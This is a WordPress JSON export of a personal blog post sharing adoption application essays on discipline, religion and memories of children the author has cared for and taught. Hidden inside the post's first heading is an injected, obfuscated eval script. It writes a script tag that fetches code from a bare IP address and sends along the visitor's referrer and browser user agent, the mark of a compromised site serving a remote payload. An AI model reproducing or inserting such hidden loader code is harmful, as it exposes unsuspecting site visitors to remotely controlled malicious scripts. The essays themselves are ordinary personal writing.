{"id":3579,"date":"2011-01-04T16:54:13","date_gmt":"2011-01-04T23:54:13","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3579"},"modified":"2017-08-11T09:02:26","modified_gmt":"2017-08-11T16:02:26","slug":"parenting","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3579","title":{"rendered":"Dear Birthmother (1)"},"content":{"rendered":"<h5>Part <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkkrn|var|u0026u|referrer|beabz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> of the adoption application process involves writing lots of essays about yourself:\u00c2\u00a0 your dreams for your child, your views on parenting, your own life experiences.\u00c2\u00a0 It was hard, but in a good way.\u00c2\u00a0 So much of the wish for a child is something you can&#8217;t put into words, but adopting parents just have to find those words somehow, anyway.\u00c2\u00a0 <em><\/em><\/h5>\n<h5>Here are some bits and pieces I wrote for my application, and I&#8217;m happy to share them.<\/h5>\n<p><strong>What are your views on discipline?<\/strong><\/p>\n<p>In my experience, a lot of \u00e2\u20ac\u0153discipline\u00e2\u20ac\u009d issues are simply a question of children who are too tired, too frustrated, too desperate for attention, or who\u00e2\u20ac\u2122ve had too much sugar to be able to hold still.\u00c2\u00a0 Children who get enough sleep and eat healthy food tend to be a lot calmer.\u00c2\u00a0 But even healthy, well rested children have their own will, and will sometimes push their limits, demand their own way, act out in anger, or be bossy, petulant, and even mean.\u00c2\u00a0\u00c2\u00a0 In those circumstances, it\u00e2\u20ac\u2122s most important for adults to be adults and not respond with their own displays of anger, bossiness, or meanness.<\/p>\n<p>Firm rules, consistent expectations, practice and encouragement \u00e2\u20ac\u201c those are certainly the basis.\u00c2\u00a0 I\u00e2\u20ac\u2122ve also found it helpful to model, not just by demonstrating, but by specifically explaining when I\u00e2\u20ac\u2122m practicing my own self-discipline.\u00c2\u00a0 When I\u00e2\u20ac\u2122m taking care of children I often say, <em>\u00e2\u20ac\u0153I\u00e2\u20ac\u2122m tired, so I\u00e2\u20ac\u2122m not being as patient as I\u00e2\u20ac\u2122d like to be.\u00e2\u20ac\u009d\u00c2\u00a0 \u00e2\u20ac\u0153I really like those chocolates, but I know I should eat dinner first.\u00e2\u20ac\u009d\u00c2\u00a0 \u00e2\u20ac\u0153I hate doing the dishes!\u00c2\u00a0 I think I\u00e2\u20ac\u2122ll put on some music so it will be more fun.\u00e2\u20ac\u009d\u00c2\u00a0\u00c2\u00a0 \u00e2\u20ac\u0153I think she\u00e2\u20ac\u2122s wrong, but I don\u00e2\u20ac\u2122t want to hurt her feelings.\u00e2\u20ac\u009d<\/em><\/p>\n<p>I believe in recognizing natural consequences: if you are unpleasant to others, they won\u00e2\u20ac\u2122t want to play with you, if you lose or break a toy, it\u00e2\u20ac\u2122s gone.\u00c2\u00a0 It\u00e2\u20ac\u2122s also important to recognize and celebrate positive consequences:\u00c2\u00a0 when you are kind to someone, it makes both of you feel good.\u00c2\u00a0 When you clean up your room, it looks really great.<\/p>\n<p>Of course, sometimes children also need to have consequences imposed to help them learn, both positive and negative.\u00c2\u00a0 Time outs for young children help them learn to control themselves, and limits and restriction of privileges, though frustrating to enforce, help older children learn responsibility.\u00c2\u00a0 I am a big fan of the sticker-chart for daily accomplishments.\u00c2\u00a0 I don\u00e2\u20ac\u2122t think \u00e2\u20ac\u0153spanking\u00e2\u20ac\u009d children is necessarily wrong in absolutely all cases, but I also don\u00e2\u20ac\u2122t really feel comfortable with that kind of punishment.\u00c2\u00a0 I don\u00e2\u20ac\u2122t think it\u00e2\u20ac\u2122s ever right for an <i>angry<\/i> adult to hit a child, and I feel that\u00e2\u20ac\u2122s usually how it happens.<\/p>\n<p>To me, a sign of \u00e2\u20ac\u0153good discipline\u00e2\u20ac\u009d is when a parent can correct a child simply with a look.\u00c2\u00a0 My sister in law is an amazing example, and I really respect her way of disciplining my niece and nephew:\u00c2\u00a0 she always expects them to be polite and helpful, and she corrects them gently but firmly, and without cajoling or coaxing.\u00c2\u00a0 People often tell her she&#8217;s lucky to have &#8220;such good kids,&#8221; and she just smiles and says, &#8220;That wasn&#8217;t luck.&#8221;\u00c2\u00a0 It&#8217;s hard work.<\/p>\n<p>&nbsp;<\/p>\n<p><b>Please give a brief statement describing your thoughts about religion and its place in your life.<\/b><\/p>\n<p>I was raised Unitarian Universalist, which is a very liberal religion, encouraging a free individual search for truth, and embracing many spiritual traditions.\u00c2\u00a0 My mother is a retired UU minister, and I taught Sunday school all through college and graduate school.\u00c2\u00a0 I stopped attending church when I realized that the religion of my childhood was not answering the questions raised in my adult life.\u00c2\u00a0 Spirituality is still an important part of my life, and I miss being part of a religious community and hope to find a church that fits me.<\/p>\n<p>&nbsp;<\/p>\n<p><b>What experiences have you had with children?<\/b><\/p>\n<p><em>At first I couldn&#8217;t even imagine how to start answering this enormous question.\u00c2\u00a0 I began with a very brief statement, and then I just started writing memories of experiences I&#8217;ve had with children&#8230;.<\/em><\/p>\n<p>I started babysitting in middle and high school, taught Sunday school and worked as a nanny in college, ran the church preschool while I was a graduate student, taught middle school for ten years, and take care of my young neighbor who&#8217;s lived with me, off and on, for a long time.\u00c2\u00a0 I am very close to my niece and nephew, and to the children of beloved friends.<\/p>\n<p><b>\u00c2\u00a0&#8230;..<\/b><\/p>\n<p>Matthew, at 4 years old, had no interest whatsoever in the Three Pigs or the Three Bears &#8211; he liked stories with monsters!\u00c2\u00a0 So I told him stories from Greek Mythology, over and over, until he knew them all by heart.\u00c2\u00a0 We&#8217;d even done the Trojan War and the Odyssey.\u00c2\u00a0 By Christmas I&#8217;d run out of Greek myths so I started on Bible stories.\u00c2\u00a0 We stopped one Wisconsin-winter day to look inside a church at the beautiful stained-glass windows.<\/p>\n<p>I told him, \u00e2\u20ac\u0153These are pictures like the pictures in a book.\u00c2\u00a0 Every window goes with a story.\u00e2\u20ac\u009d\u00c2\u00a0 I looked for a story he would know, and found the Nativity scene.\u00c2\u00a0 But when I asked him what the story was, he was puzzled.<\/p>\n<p>&#8220;See the angel?\u00e2\u20ac\u009d\u00c2\u00a0 I said.\u00c2\u00a0 \u00e2\u20ac\u0153See the shepherds, and the star?\u00c2\u00a0 Who is the baby?\u00e2\u20ac\u009d<\/p>\n<p>He brightened then, and confidently said, \u00e2\u20ac\u0153Achilles!\u00e2\u20ac\u009d<\/p>\n<p>&#8230;&#8230;<\/p>\n<p>Emily, 6 years old, came over to my house and immediately hid in the closet.\u00c2\u00a0 I asked her what she was doing, and she started to cry.\u00c2\u00a0 Her father was coming home from spending a couple of months in jail, and she was afraid to see him.\u00c2\u00a0 \u00c2\u00a0\u00e2\u20ac\u0153What if he comes over here?\u00e2\u20ac\u009d\u00c2\u00a0 she cried.\u00c2\u00a0 I promised her that as long as she was at my house, she was safe, and it wasn\u00e2\u20ac\u2122t necessary to hide.\u00c2\u00a0 But secretly I was wondering, what if he does come over here?\u00c2\u00a0 What if he makes her go home? He had never hit her, but he was always drunk.\u00c2\u00a0 She leaned against me on the couch.<\/p>\n<p>\u00e2\u20ac\u0153Why do people drink?\u00e2\u20ac\u009d she asked, and I can\u00e2\u20ac\u2122t remember what I said.<\/p>\n<p>&#8230;&#8230;<\/p>\n<p>Electra, the \u00e2\u20ac\u0153new girl,\u00e2\u20ac\u009d calmly surveying the room.\u00c2\u00a0 I could see she was born to be captain of the ship.\u00c2\u00a0 The first time I assigned her to group work, I overheard her say, \u00e2\u20ac\u0153Guys, this is great!\u00c2\u00a0 Our group is the best.\u00c2\u00a0 We have Sam &#8212; he\u00e2\u20ac\u2122s a great artist, we have Jenny \u00e2\u20ac\u201c she\u00e2\u20ac\u2122s good at math,\u00c2\u00a0 and we have me &#8212; \u00c2\u00a0<em>to be leader<\/em>!\u00c2\u00a0 Our group is gonna be great!\u00e2\u20ac\u009d\u00c2\u00a0 And her group <i>was great.<\/i><\/p>\n<p>Kat, a messy, frantic, seething pool of potential, who quickly grew up to be the talented, classy, ambitious young lady we knew she\u00e2\u20ac\u2122d be.\u00c2\u00a0 Ryan, who continued to wear a pinned-up sheet and a crown of ivy long after we\u00e2\u20ac\u2122d finished our unit on Ancient Greece; Courtney, who preferred to work underneath the table (why not?); Alex, who single-handedly caused 90% of my grey hairs.\u00c2\u00a0 Yes, all teachers have favorites.<\/p>\n<p>&#8230;&#8230;<\/p>\n<p>Reading to baby Xak:\u00c2\u00a0 a character in the story brushes his teeth, and Xak, still not quite verbal, pointed excitedly at the page and then toddled into the bathroom, emerging with toothbrush in hand.\u00c2\u00a0 I helped him brush his teeth and then we finished the story.<\/p>\n<p>&#8230;&#8230;<\/p>\n<p>Pretending to be asleep on the couch, early Christmas morning, while my niece and nephew \u00e2\u20ac\u0153quietly\u00e2\u20ac\u009d sneak downstairs to see their stockings.\u00c2\u00a0 Faithfully keeping the dead cicada that my nephew found, until I was positive he\u00e2\u20ac\u2122d forgotten about it.\u00c2\u00a0 Doing my niece\u00e2\u20ac\u2122s Tarot cards to see if the Fates give any hints about whether she\u00e2\u20ac\u2122s likely to have her own horse someday.\u00c2\u00a0 (Probably not anytime soon, but it\u00e2\u20ac\u2122s not hopeless.)\u00c2\u00a0 Playing restaurant with real sandwiches (for real lunch).\u00c2\u00a0 Building secret hide-outs under the wisteria.<\/p>\n<p>&#8230;&#8230;<\/p>\n<p>Emily at 10 years old, helping me make breakfast so we\u00e2\u20ac\u2122ll have time to watch the Muppets before school.\u00c2\u00a0 Emily at 11, with that look of unbearable angst which comes with new braces. At 12, with a stylish haircut and way too much eyeliner.\u00c2\u00a0 At 13, holding hands with a boy at the rollerskating rink, but holding other-hands with her best girlfriend at the same time.\u00c2\u00a0 Letting her lie to me about her homework sometimes, because she needs to make her own mistakes.\u00c2\u00a0 Getting the extra hug, which I think she knows I need even more than she does.<\/p>\n<p>Singing harmony on \u00e2\u20ac\u0153Amazing Grace\u00e2\u20ac\u009d with Emily and Angie in the car.\u00c2\u00a0\u00c2\u00a0 Angie has a really good voice, and with training I bet she could really take it somewhere.\u00c2\u00a0 Emily\u00e2\u20ac\u2122s voice is just an ordinary little girl\u00e2\u20ac\u2122s voice, but to me she\u00e2\u20ac\u2122s the one who sounds like an angel.<\/p>\n<p>&#8230;&#8230;&#8230;.<\/p>\n<p>\u00e2\u20ac\u0153Well, your feet will get wet, but if you can handle having wet feet, then yes you may.\u00e2\u20ac\u009d<\/p>\n<p>\u00e2\u20ac\u0153You have a right to be angry, but you may not speak to people that way.\u00e2\u20ac\u009d<\/p>\n<p>\u00e2\u20ac\u0153I\u00e2\u20ac\u2122m glad you told me you don\u00e2\u20ac\u2122t like it.\u00c2\u00a0 But you still have to eat at least half.\u00e2\u20ac\u009d<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Part of the adoption application process involves writing lots of essays about yourself:\u00c2\u00a0 your dreams&#8230;<\/p>\n","protected":false},"author":1,"featured_media":3653,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76,1],"tags":[70,53,81,78],"class_list":["post-3579","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","category-uncategorized","tag-about","tag-adoption","tag-i-believe","tag-parenting"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3579"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3579"}],"version-history":[{"count":10,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3579\/revisions"}],"predecessor-version":[{"id":3717,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3579\/revisions\/3717"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/3653"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3579"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3579"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3579"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}